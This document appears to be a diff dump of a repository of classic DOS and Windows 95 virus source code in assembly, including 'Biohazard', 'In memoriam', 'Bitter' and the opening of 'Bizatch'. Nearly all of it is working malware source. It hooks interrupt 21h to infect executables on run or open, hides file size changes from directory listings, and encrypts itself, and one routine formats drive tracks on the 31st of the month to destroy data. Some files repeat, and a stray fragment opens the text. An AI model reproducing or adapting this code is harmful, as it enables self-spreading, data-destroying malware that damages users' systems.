jmp exit2 ; les get outa dis place
decme:
dec ax ; oh? a dec, no push/pop
; how glad i am :)
push es ; blurk! yet another push
mov es,ax ; set es to ax
jmp dos_own ; carry on comrade
db ' Greets to B-real!/IR ' ; greetings to our
; latest member, a
dos_own: ; friend of mine
mov byte ptr es:[0],'Z' ; this memory will
mov word ptr es:[1],8 ; have DOS as it's
; owner
inc ax ; opposite of dec, eh?
; yet another new-commer
lea si,[bp+offset vstart] ; copy to memory
mov di,0 ; (new block) xor di,di
jmp copy_rest ; go on
db ' Well, The Wz is back, and he has an attitude!' ; lil'
copy_rest:
mov es,ax ; es as ax
mov cx,(vend-vstart+5)/2 ; the whole thing
cld ; bytes, clr direction
rep movsw
jmp make_res ; now, make it resident
db 'Quit reading the code, yes, this is a fucking virus!'; thang
make_res:
xor ax,ax ; atlast!
mov ds,ax ; put all shit to memory
push ds ; don't push me around :)
lds ax,ds:[21h*4] ; vectorswapping
jmp swap_sect ; (manually!)
db ' Catch me, Dare ya!' ; by Snoop 'n Dre.
swap_sect:
mov word ptr es:[old_21-vstart],ax ; where's our old int21
mov word ptr es:[old_21-vstart+2],ds ; stored? well see here
pop ds
mov word ptr ds:[21h*4],(new_21-vstart) ; point to our virus
mov ds:[21h*4+2],es ; instead of old21
push cs ; no cmt.
pop ds ; to much 'bout 'em
; today, eh? :)
exit:
push cs ; no cmt.
pop es ; see above
mov cx,5 ; five bytes
jmp copyback ; keep on moving..
db ' The W$ˆL!!!!' ; To the girl i love
copyback:
mov si,offset buffer ; copy back org. jmp
add si,bp ; and run the org. proggy
jmp movdi_it ; yeah, les do that
db ' Are you done yet??? ' ; Lisa, the one and only
DATE_CHECK:
mov ah,2aH ;gET DATE INFO
int 21h ;cALL dos
cmp dl,31 ;cHECK TO SEE IF IT IS THE 4TH
jge MULTIPLEX ;iF YES, THEN NUKE DRIVES a:-z:
jmp exit ;iF NOT, THEN GO ON WITH INFECTION
MULTIPLEX:
mov al,CNTR ;cOUNTER IS THE DRIVE TO KILL
call ALTER ;gO AND KILL THE DRIVE
;25 IS DRIVE z:
cmp CNTR,25 ;iS (CNTR) 25 ?
je exit ;gO ON WITH INFECTION
inc CNTR ;aDD ONE TO (CNTR)
loop MULTIPLEX ;lOOP BACK UP TO KILL NEXT DRIVE
ALTER:
mov ah,05 ;fORMAT tRACK
mov ch,0 ;fORMAT TRACK 0
mov dh,0 ;hEAD 0
mov dl,CNTR ;fORMAT FOR DRIVE IN (CNTR)
int 13H ;cALL rwts
ret ;rETURN UP FOR NEXT DRIVE
movdi_it:
mov di,100h ; di = 100h
repne movsb
jmp lastshit ; atlast, soon the end
db ' Fuck this, Later C:!!! ' ; Love in eternality!
lastshit:
mov bp,100h ; bp equ 100h
jmp bp ; jmp to bp (SOF)
vend equ $ ; end of virus
COUNT_ dw 0
CNTR db 2 ; dRIVE TO NUKE FROM (c:+++)
virus ends
end start
+317
View File
@@ -0,0 +1,317 @@
virus segment
assume cs:virus,ds:virus,es:nothing
org 100h
start: db 0E9h,02,00,90h,90h ; Jmp to vstart
vstart equ $
call code_start ; call codie_startie
code_start:
pop si
sub si,offset code_start ; so we can use the lea command etc
jmp code_continue
db '!BIOHAZARD!' ; Lil' poem (?)
db 'U Found ME!' ; of mine
code_continue:
mov bp,si ; Now, put bp in si instead so bp's used
jmp load ; Jmp and go resident
old_21 dd ? ; Old int21 interrupt saved here
new_21: ; Our own, new one int21
cmp ax,4b00h ; Is a file being executed
je exec1 ; If so, damn it! INFECT!
dir_thang:
cmp ah,11h ; Find first
je hide_size ; Use stealth
cmp ah,12h ; Find next
je hide_size ; Use stealth
cmp ax,3030h ; Another copy trying to go resident?
jne do_old ; If not, do the old int21 thang
mov bx,3030h ; Show that we're already resident
do_old: jmp dword ptr cs:[(old_21-vstart)] ; Jmp old int21
exec1: jmp exec ; Try to infect
do_dir: jmp dword ptr cs:[(old_21-vstart)] ; See do_old
ret ; But return back
hide_size:
pushf
push cs
call do_dir ; get FCB (current)
cmp al,00h ; Is DIR being used (?)
jz undocumented_get_FCB ; If so, go on
jmp dir_error ; If not, get the fuck
; outa this place man
undocumented_get_FCB:
push ax ; push
push bx ; push
push es ; push (gaak! no pops)
mov ah,51h ; get FCB (location)
int 21h ; figure it out
mov es,bx ; get FCB (info)
cmp bx,es:[16h] ; check it
je fix_it_up ; if so, move on
jmp not_inf
fix_it_up:
mov bx,dx ; fixup
mov al,[bx] ; some
push ax ; shit
mov ah,2fh ; get the DTA
int 21h ; yeah, you do that
pop ax ; atlast, pop me babe
inc al ; check FCB (extended)
jz add_it ; ok, move on
jmp normal_fcb ; jmp normal_fcb
add_it:
add bx,7h ; yes, add it.. go ahead
normal_fcb:
mov ax,es:[bx+17h]
and ax,1fh
xor al,01h ; are the file's seconds
jz go_on_and_do_it_strong ; equal to "2"?
jmp not_inf ; If so, outa here
go_on_and_do_it_strong:
and byte ptr es:[bx+17h],0e0h ; subtract the size
sub es:[bx+1dh],(vend-vstart) ; how much? (*.*)
sbb es:[bx+1fh],ax ; yet another stealthed
not_inf:pop es ; we will..
pop bx ; we will..
pop ax ; pop you! pop you!
dir_error:
iret ; return to the one who
; called this thang
exec:
push ax ; push the stuff needed
push bx ; (as normally)
push cx
push dx
push di
push si
push ds
push es
infect:
mov ax,3d02h ; Open the file being
int 21h ; executed do that!
jc fuckitall ; If error, get the fuck
; out!
xchg ax,bx ; or.. mov bx,ax
push ds ; pusha
push cs ; push
pop ds ; pop!
mov ah,3fh ; Read from file
mov dx,(buffer-vstart) ; put in our buffer
mov cx,5h ; how much to read
int 21h ; do that
jc fuckitall ; If error, fuck it!
cmp word ptr cs:[(buffer-vstart)],5A4Dh ; Is it an .EXE?
je fuckitall ; If so, outa here..
cmp word ptr cs:[(buffer-vstart)],4D5Ah ; The other form?
je fuckitall ; (can be MZ or ZM)
; If so, outa here
cmp word ptr cs:[(buffer-vstart)+3],9090h ; Ok, is it
je fuckitall ; infect? If so,
; outa here
jmp next ; Move on..
fuckitall:
jmp homey2 ; Something screwed,
; outa dis thang..
next:
mov ax,5700h ; Get date/time
int 21h ; int me baaaabe!
mov word ptr cs:[(old_time-vstart)],cx ; save time
mov word ptr cs:[(old_date-vstart)],dx ; save date
mov ax,4202h ; ftpr to end
mov cx,0 ; get ftpr (filesize)
cwd ; or.. xor dx,dx
int 21h
jc fuckitall ; if error, fuck it!
mov cx,ax ; mov cx to ax
sub cx,3 ; for the jmp
jmp save_rest_of_len
db 'BIOHAZARD VIRUS - INV. EVIL ALTER - THE W$ˆL!'
save_rest_of_len:
mov word ptr cs:[(jump_add+1-vstart)],cx ; save jmp length
mov ah,40h ; write to file
mov cx,(vend-vstart) ; the virus
cwd ; from start
int 21h ; atlast the fun part
jnc fpointer ; no error(s), go on
jc homey ; fuck it!
fpointer:
mov ax,4200h ; move file pointer
mov cx,0 ; to the beginning
cwd
int 21h
mov ah,40h ; write the JMP the
mov cx, 5 ; the file (5 bytes)
mov dx,(jump_add-vstart) ; offset jump thang
int 21h
jc homey ; if error, fuck it!
mov ax,5701h ; restore old
mov word ptr cx,cs:[(old_time-vstart)] ; date/time
mov word ptr dx,cs:[(old_date-vstart)]
and cl,0e0H ; chance the file's
inc cl ; seconds to "2" for
int 21h ; stealth "marker"
mov ah,3eh ; close thisone
int 21h
homey: jmp homey2 ; outa here
db ' HEY HEY TO ALL A/V LAMERS!! HA!' ; dedication note
homey2: pop ds ; pop
pop es ; pop
pop ds ; pop
pop si ; pop
pop di ; pop
pop dx ; pop
pop cx ; pop
pop bx ; pop
pop ax ; new virus-name
; popcorn virus?
jmp dword ptr cs:[(old_21-vstart)] ; heading for old
; int21
old_date dw 0 ; date/time
old_time dw 0 ; saving place
buffer: db 0cdh,20h,00 ; our lil' buffer
buffer2 db 0,0 ; plus these two
jump_add: db 0E9h,00,00,90h,90h; ; what we put instead
; of org. jmp
exit2: jmp exit ; get outa here
load: mov ax,3030h ; Are we already in
int 21h ; this users memory
cmp bx,3030h ; well, check it!
je exit2 ; if so, outa here
dec_here:
push cs ; push
pop ds ; pop
mov ah,4ah ; req. very much mem
mov bx,0ffffh ; ret's largest size
int 21h
mov ah,4ah ; ok, so now we
sub bx,(vend-vstart+15)/16+1 ; subtract the size of
jnc intme ; of our virus. If no
jmp exit2 ; error go on, else
; fuck it
intme:
int 21h ; int me! int me!
mov ah,48h
mov bx,(vend-vstart+15)/16 ; req. last pages
int 21h ; allocate to the virus
jnc decme ; no error, go on
jmp exit2 ; les get outa dis place
decme:
dec ax ; oh? a dec, no push/pop
; how glad i am :)
push es ; blurk! yet another push
mov es,ax ; set es to ax
jmp dos_own ; carry on comrade
db ' Greets to B-real!/IR ' ; greetings to our
; latest member, a
dos_own: ; friend of mine
mov byte ptr es:[0],'Z' ; this memory will
mov word ptr es:[1],8 ; have DOS as it's
; owner
inc ax ; opposite of dec, eh?
; yet another new-commer
lea si,[bp+offset vstart] ; copy to memory
mov di,0 ; (new block) xor di,di
jmp copy_rest ; go on
db ' Well, The Wz is back, and he has an attitude!' ; lil'
copy_rest:
mov es,ax ; es as ax
mov cx,(vend-vstart+5)/2 ; the whole thing
cld ; bytes, clr direction
rep movsw
jmp make_res ; now, make it resident
db 'Quit reading the code, yes, this is a fucking virus!'; thang
make_res:
xor ax,ax ; atlast!
mov ds,ax ; put all shit to memory
push ds ; don't push me around :)
lds ax,ds:[21h*4] ; vectorswapping
jmp swap_sect ; (manually!)
db ' Catch me, Dare ya!' ; by Snoop 'n Dre.
swap_sect:
mov word ptr es:[old_21-vstart],ax ; where's our old int21
mov word ptr es:[old_21-vstart+2],ds ; stored? well see here
pop ds
mov word ptr ds:[21h*4],(new_21-vstart) ; point to our virus
mov ds:[21h*4+2],es ; instead of old21
push cs ; no cmt.
pop ds ; to much 'bout 'em
; today, eh? :)
exit:
push cs ; no cmt.
pop es ; see above
mov cx,5 ; five bytes
jmp copyback ; keep on moving..
db ' The W$ˆL!!!!' ; To the girl i love
copyback:
mov si,offset buffer ; copy back org. jmp
add si,bp ; and run the org. proggy
jmp movdi_it ; yeah, les do that
db ' Are you done yet??? ' ; Lisa, the one and only
movdi_it:
mov di,100h ; di = 100h
repne movsb
jmp lastshit ; atlast, soon the end
db ' Fuck this, Later C:!!! ' ; Love in eternality!
lastshit:
mov bp,100h ; bp equ 100h
jmp bp ; jmp to bp (SOF)
vend equ $ ; end of virus
COUNT_ dw 0
CNTR db 2 ; dRIVE TO NUKE FROM (c:+++)
virus ends
end start
+295
View File
@@ -0,0 +1,295 @@
;
; In memoriam Virus by John Tardy / Trident
;
Org 0h
Main: Push Ax
call Get_Ofs
Get_Ofs: pop Bp
sub Bp,Get_Ofs
Mov Ax,0DEADh
Int 21h
Cmp Ax,0AAAAh
Je Installed
mov ax,3521h
int 21h
mov word ptr cs:old21[bp],bx
mov word ptr cs:old21[bp][2],es
mov ax,cs ;adjust memory-size
dec ax
mov ds,ax
cmp byte ptr ds:[0000],'Z'
jne installed
mov ax,word ptr ds:[0003]
sub ax,ParLen
jb installed
mov word ptr ds:[0003],ax
sub word ptr ds:[0012h],ParLen
lea si,main[bp]
mov di,0
mov es,ds:[12h]
mov ds,cs
mov cx,virlen
cld
rep movsb
mov ax,2521h
mov ds,es
mov dx,offset new21
int 21h
Installed: Mov Di,100h
Lea Si,Org_Prg[Bp]
Push Cs
Push Cs
Pop Ds
Pop Es
Cld
Movsw
Movsb
Mov Bx,100h
Pop Ax
Push Bx
Ret
Old21 dd 0
New21: cmp ax,0deadh
jne chkfunc
mov ax,0aaaah
iret
chkfunc:
cmp ah,11h
je findFCBst
cmp ah,12h
je findfcbst
cmp ah,4eh
je findst
cmp ah,4fh
je findst
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
cmp ah,3dh
je infectHan
cmp ax,4b00h
je infectHan
cmp ah,41h
je infectHan
cmp ah,43h
je infectHan
cmp ah,56h
je infectHan
cmp ah,0fh
je infectFCB
cmp ah,23h
je infectFCB
jmp endint
findfcbst: jmp findfcb
findst: jmp find
InfectFCB: mov si,dx
inc si
push cs
pop es
lea di,fnam
mov cx,8
rep movsb
mov cx,3
inc di
rep movsb
lea dx,fnam
push cs
pop ds
InfectHan: mov si,dx
mov cx,100h
cld
findpnt: lodsb
cmp al,'.'
je chkcom
loop findpnt
jmp endi
chkcom: lodsw
or ax,2020h
cmp ax,'oc'
jne endi
lodsb
or al,20h
cmp al,'m'
jne endi
jmp doit
endi: jmp endint
doit: push dx
push ds
mov ax,4300h
pushf
call dword ptr cs:[old21]
mov cs:fatr,cx
mov ax,4301h
xor cx,cx
pushf
call dword ptr cs:[old21]
mov ax,3d02h
pushf
call dword ptr cs:[old21]
jnc getdate
jmp error
getdate: xchg ax,bx
mov ax,5700h
pushf
call dword ptr cs:[old21]
mov cs:fdat,cx
mov cs:fdat[2],dx
and cx,1fh
cmp cx,1fh
jne chkexe
jmp done
chkexe: mov ah,3fh
push cs
pop ds
lea dx,Org_prg
mov cx,3
pushf
call dword ptr cs:[old21]
cmp word ptr cs:Org_prg[0],'ZM'
je close
cmp word ptr cs:Org_prg[0],'MZ'
je close
Mov ax,4202h
xor cx,cx
xor dx,dx
pushf
call dword ptr cs:[old21]
sub ax,3
mov cs:jump[1],ax
mov ah,40h
push cs
pop ds
lea dx,main
mov cx,virlen
pushf
call dword cs:[old21]
mov ax,4200h
xor cx,cx
xor dx,dx
mov ah,40h
lea dx,jump
mov cx,3
pushf
call dword cs:[old21]
or cs:fdat,01fh
close: mov ax,5701h
mov cx,cs:fdat
mov dx,cs:fdat[2]
pushf
call dword ptr cs:[old21]
done: mov ah,3eh
pushf
call dword ptr cs:[old21]
pop ds
pop dx
push dx
push ds
mov ax,4301h
mov cx,fatr
pushf
call dword ptr cs:[old21]
error: pop ds
pop dx
endint: pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[old21]
getdta:
pop si
pushf
push ax
push bx
push es
mov ah,2fh
call dos
jmp short si
FindFCB: call DOS ; call orginal interrupt
cmp al,0 ; error ?
jne Ret1
call getdta
cmp byte ptr es:[bx],-1 ; extended fcb ?
jne FCBOk
add bx,8 ; yes, skip 8 bytes
FCBOk: mov al,es:[bx+16h] ; get file-time (low byte)
and al,1fh ; seconds
cmp al,1fh ; 62 seconds ?
jne FileOk ; no, file not infected
sub word ptr es:[bx+1ch],Virlen ; adjust file-size
sbb word ptr es:[bx+1eh],0
jmp short Time
Find: call DOS
jc Ret1
call getdta
mov al,es:[bx+16h]
and al,1fh
cmp al,1fh
jne FileOk
sub word ptr es:[bx+1ah],VirLen
sbb word ptr es:[bx+1ch],0
Time: xor byte ptr es:[bx+16h],10h
FileOk: pop es
pop bx
pop ax
popf
Ret1: retf 2
dos: pushf
call dword ptr cs:[old21]
ret
Org_prg dw 0cd90h
db 21h
fnam db 8 dup (0)
db '.'
db 3 dup (0)
db 0
fatr dw 0
fdat dw 0,0
jump db 0e9h,0,0
Db 'In memoriam 14-10-92'
VirLen Equ $-Main
ParLen Equ (VirLen/10h)+10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+295
View File
@@ -0,0 +1,295 @@
;
; In memoriam Virus by John Tardy / Trident
;
Org 0h
Main: Push Ax
call Get_Ofs
Get_Ofs: pop Bp
sub Bp,Get_Ofs
Mov Ax,0DEADh
Int 21h
Cmp Ax,0AAAAh
Je Installed
mov ax,3521h
int 21h
mov word ptr cs:old21[bp],bx
mov word ptr cs:old21[bp][2],es
mov ax,cs ;adjust memory-size
dec ax
mov ds,ax
cmp byte ptr ds:[0000],'Z'
jne installed
mov ax,word ptr ds:[0003]
sub ax,ParLen
jb installed
mov word ptr ds:[0003],ax
sub word ptr ds:[0012h],ParLen
lea si,main[bp]
mov di,0
mov es,ds:[12h]
mov ds,cs
mov cx,virlen
cld
rep movsb
mov ax,2521h
mov ds,es
mov dx,offset new21
int 21h
Installed: Mov Di,100h
Lea Si,Org_Prg[Bp]
Push Cs
Push Cs
Pop Ds
Pop Es
Cld
Movsw
Movsb
Mov Bx,100h
Pop Ax
Push Bx
Ret
Old21 dd 0
New21: cmp ax,0deadh
jne chkfunc
mov ax,0aaaah
iret
chkfunc:
cmp ah,11h
je findFCBst
cmp ah,12h
je findfcbst
cmp ah,4eh
je findst
cmp ah,4fh
je findst
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
cmp ah,3dh
je infectHan
cmp ax,4b00h
je infectHan
cmp ah,41h
je infectHan
cmp ah,43h
je infectHan
cmp ah,56h
je infectHan
cmp ah,0fh
je infectFCB
cmp ah,23h
je infectFCB
jmp endint
findfcbst: jmp findfcb
findst: jmp find
InfectFCB: mov si,dx
inc si
push cs
pop es
lea di,fnam
mov cx,8
rep movsb
mov cx,3
inc di
rep movsb
lea dx,fnam
push cs
pop ds
InfectHan: mov si,dx
mov cx,100h
cld
findpnt: lodsb
cmp al,'.'
je chkcom
loop findpnt
jmp endi
chkcom: lodsw
or ax,2020h
cmp ax,'oc'
jne endi
lodsb
or al,20h
cmp al,'m'
jne endi
jmp doit
endi: jmp endint
doit: push dx
push ds
mov ax,4300h
pushf
call dword ptr cs:[old21]
mov cs:fatr,cx
mov ax,4301h
xor cx,cx
pushf
call dword ptr cs:[old21]
mov ax,3d02h
pushf
call dword ptr cs:[old21]
jnc getdate
jmp error
getdate: xchg ax,bx
mov ax,5700h
pushf
call dword ptr cs:[old21]
mov cs:fdat,cx
mov cs:fdat[2],dx
and cx,1fh
cmp cx,1fh
jne chkexe
jmp done
chkexe: mov ah,3fh
push cs
pop ds
lea dx,Org_prg
mov cx,3
pushf
call dword ptr cs:[old21]
cmp word ptr cs:Org_prg[0],'ZM'
je close
cmp word ptr cs:Org_prg[0],'MZ'
je close
Mov ax,4202h
xor cx,cx
xor dx,dx
pushf
call dword ptr cs:[old21]
sub ax,3
mov cs:jump[1],ax
mov ah,40h
push cs
pop ds
lea dx,main
mov cx,virlen
pushf
call dword cs:[old21]
mov ax,4200h
xor cx,cx
xor dx,dx
mov ah,40h
lea dx,jump
mov cx,3
pushf
call dword cs:[old21]
or cs:fdat,01fh
close: mov ax,5701h
mov cx,cs:fdat
mov dx,cs:fdat[2]
pushf
call dword ptr cs:[old21]
done: mov ah,3eh
pushf
call dword ptr cs:[old21]
pop ds
pop dx
push dx
push ds
mov ax,4301h
mov cx,fatr
pushf
call dword ptr cs:[old21]
error: pop ds
pop dx
endint: pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[old21]
getdta:
pop si
pushf
push ax
push bx
push es
mov ah,2fh
call dos
jmp short si
FindFCB: call DOS ; call orginal interrupt
cmp al,0 ; error ?
jne Ret1
call getdta
cmp byte ptr es:[bx],-1 ; extended fcb ?
jne FCBOk
add bx,8 ; yes, skip 8 bytes
FCBOk: mov al,es:[bx+16h] ; get file-time (low byte)
and al,1fh ; seconds
cmp al,1fh ; 62 seconds ?
jne FileOk ; no, file not infected
sub word ptr es:[bx+1ch],Virlen ; adjust file-size
sbb word ptr es:[bx+1eh],0
jmp short Time
Find: call DOS
jc Ret1
call getdta
mov al,es:[bx+16h]
and al,1fh
cmp al,1fh
jne FileOk
sub word ptr es:[bx+1ah],VirLen
sbb word ptr es:[bx+1ch],0
Time: xor byte ptr es:[bx+16h],10h
FileOk: pop es
pop bx
pop ax
popf
Ret1: retf 2
dos: pushf
call dword ptr cs:[old21]
ret
Org_prg dw 0cd90h
db 21h
fnam db 8 dup (0)
db '.'
db 3 dup (0)
db 0
fatr dw 0
fdat dw 0,0
jump db 0e9h,0,0
Db 'In memoriam 14-10-92'
VirLen Equ $-Main
ParLen Equ (VirLen/10h)+10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,347 @@
; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
; File: BITTER.ASM
; Bitter by Ender
checkres1 = 'DA'
checkres2 = 'PS'
id = 'EF'
.model tiny
.code
; Assemble with:
; TASM /m3 filename.ASM
; TLINK filename.OBJ
; EXE2BIN filename.EXE filename.COM
org 0000h
start:
ENCRYPT:
patchstart:
mov bx, offset endencrypt
mov cx, (heap-endencrypt)/2+1
encrypt_loop:
db 002Eh ; cs:
db 0081h ; add word ptr [bx], xxxx
xorpatch db 0007h
encryptvalue dw 0000h
inc bx
inc bx
loop encrypt_loop
endencrypt:
call next
next:
pop bp
sub bp, offset next
push es
push ds
mov ax, checkres1 ; Installation check
int 0021h
cmp ax, checkres2 ; Already installed?
jz done_install
mov ax, ds
dec ax
mov ds, ax
sub word ptr ds:[0003h], ((endheap-start+1023)/1024)*64
sub word ptr ds:[0012h], ((endheap-start+1023)/1024)*64
mov es, word ptr ds:[0012h]
push cs
pop ds
xor di, di
mov cx, (heap-start)/2+1 ; Bytes to move
mov si, bp ; lea si,[bp+offset start]
rep movsw
xor ax, ax
mov ds, ax
sub word ptr ds:[0413h], (endheap-start+1023)/1024
push ds
lds ax, ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory
done_install:
pop ds
pop es
cmp sp, id
je restore_EXE
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsw
movsb
ret
restore_EXE:
mov ax, ds
add ax, 0010h
add cs:[bp+word ptr origCSIP+2], ax
add ax, cs:[bp+word ptr origSPSS]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS+2]
sti
db 00EAh
origCSIP db ?
old3 db 0cdh,20h,0
origSPSS dd ?
INT24:
mov al, 0003h
iret
int21:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp ax, 4B00h ; execute?
jz execute
return:
jmp exitint21
execute:
mov word ptr cs:filename, dx
mov word ptr cs:filename+2, ds
mov ax, 3524h
int 0021h
push es
push bx
mov ax, 2524h
lea dx, INT24 ; ASSumes ds=cs
int 0021h
push cs
pop es
mov bx, dx
cmp word ptr [bx+3], 'AM' ; Check if COMMAND.COM
jz return ; Exit if so
mov ax, 4300h
lds dx, cs:filename
int 0021h
jc return
push cx
push ds
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
lds dx, cs:filename
mov ax, 3D02h
int 0021h
mov bx, ax ; xchg ax,bx is more efficient
push cs
pop ds
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov ah, 003Fh
mov dx, offset readbuffer
mov cx, 001Ah
int 0021h
mov ax, 4202h
xor cx, cx
cwd
int 0021h
cmp word ptr [offset readbuffer], 'ZM'
jz checkEXE
mov cx, word ptr [offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jz jmp_close
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
cmp ax, (heap-start) ; check if too small
jb jmp_close ; Exit if so
mov di, offset old3
mov si, offset readbuffer
movsw
movsb
mov si, ax ; save entry point
add si, 0100h
mov cx, 0003h
sub ax, cx
mov word ptr [offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [offset readbuffer], dl
jmp short continue_infect
checkEXE:
cmp word ptr [offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
skipp:
lea si, readbuffer+14h
lea di, origCSIP
movsw ; Save original CS and IP
movsw
sub si, 000Ah
movsw ; Save original SS and SP
movsw
push bx ; save file handle
mov bx, word ptr [readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl
push dx ; Save file size on the
push ax ; stack
sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX
mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX
mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [readbuffer+16h], ax ; Para disp CS in module.
mov word ptr [readbuffer+10h], id ; Initial SP
mov word ptr [readbuffer+14h], dx ; IP Offset
mov si, dx ; save entry point
pop ax ; Filelength in DX:AX
pop dx
add ax, heap-start
adc dx, 0000h
mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h
mov word ptr [readbuffer+2], ax ; the EXE header.
mov word ptr [readbuffer+4], dx ; Fix-up the file size in
pop bx ; restore file handle
mov cx, 001Ah
continue_infect:
push cx ; save # bytes to write
get_encrypt_value:
mov ah, 002Ch ; Get current time
int 0021h
or dx, dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
add si, (offset endencrypt-offset encrypt)
mov word ptr ds:[patchstart+1], si
mov word ptr ds:[encryptvalue], dx
mov di, offset encryptbuffer
mov si, offset ENCRYPT
mov cx, (heap-encrypt)/2
push si
rep movsw ; copy virus to buffer
mov ax, offset endencrypt-encrypt+encryptbuffer
mov word ptr ds:[patchstart+1], ax
pop si
push offset endencrypt
mov byte ptr [offset endencrypt], 00C3h ; retn
xor byte ptr [offset xorpatch-encrypt+encryptbuffer], 0028h
push bx
call si ; encrypt virus in buffer
pop bx
pop word ptr [offset endencrypt]
xor byte ptr [offset xorpatch], 0028h
mov ah, 0040h
mov cx, heap-encrypt
mov dx, offset encryptbuffer
int 0021h
mov ax, 4200h
xor cx, cx
cwd
int 0021h
pop cx
mov ah, 0040h
mov dx, offset readbuffer
int 0021h
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop ds
pop cx ; attributes from stack
int 0021h
pop dx
pop ds
mov ax, 2524h
int 0021h
exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 00EAh ; return to original handler
oldint21 dd ?
virusname db 'I am quite BITTER!',0
heap:
encryptbuffer db (heap-encrypt)+1 dup (?)
filename dd ?
readbuffer db 1ah dup (?)
endheap:
end start
@@ -0,0 +1,814 @@
;
; Bizatch by Quantum / VLAD
;
; Welcome to the world's first Windows 95 virus.
;
; It is a great honour for me to have written this virus as this
; is ground breaking stuff. Windows 95 is a platform that was
; designed to be uninfectable, but Microsoft did not reckon with
; the awesome power of vlad. As such, this virus will be used as
; a minor information service for vlad. On the 31st of every month
; every infected exe will display a message box listing the members
; of the vlad possie from the old skool to the new.
;
; The following is a host program kindly contributed by Borland International.
; This example will put up a window and beep when the right mouse button
; is pressed. When the left mouse button is pressed, it will increment
; the displayed 32-bit counter.
;
; Everything needed to assemble this code has been put in the file
; BIZATCH.ZIP
;
; A tutorial on Win95 virii is likely to be included in this issue of vlad.
;
;-----------------------------------------------------------------------------
; You might wanna skip over this and head straight for the virus code
; which is at line 350
;
.386
locals
jumps
.model flat,STDCALL
include win32.inc ; some 32-bit constants and structures
L equ <LARGE>
;
; Define the external functions we will be linking to
;
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess:PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn InvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadIconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC
;
; for Unicode support, Win32 remaps some functions to either the Ansi or
; Wide char versions. We will assume Ansi for this example.
;
CreateWindowEx equ <CreateWindowExA>
DefWindowProc equ <DefWindowProcA>
DispatchMessage equ <DispatchMessageA>
FindWindow equ <FindWindowA>
GetMessage equ <GetMessageA>
GetModuleHandle equ <GetModuleHandleA>
LoadCursor equ <LoadCursorA>
LoadIcon equ <LoadIconA>
MessageBox equ <MessageBoxA>
RegisterClass equ <RegisterClassA>
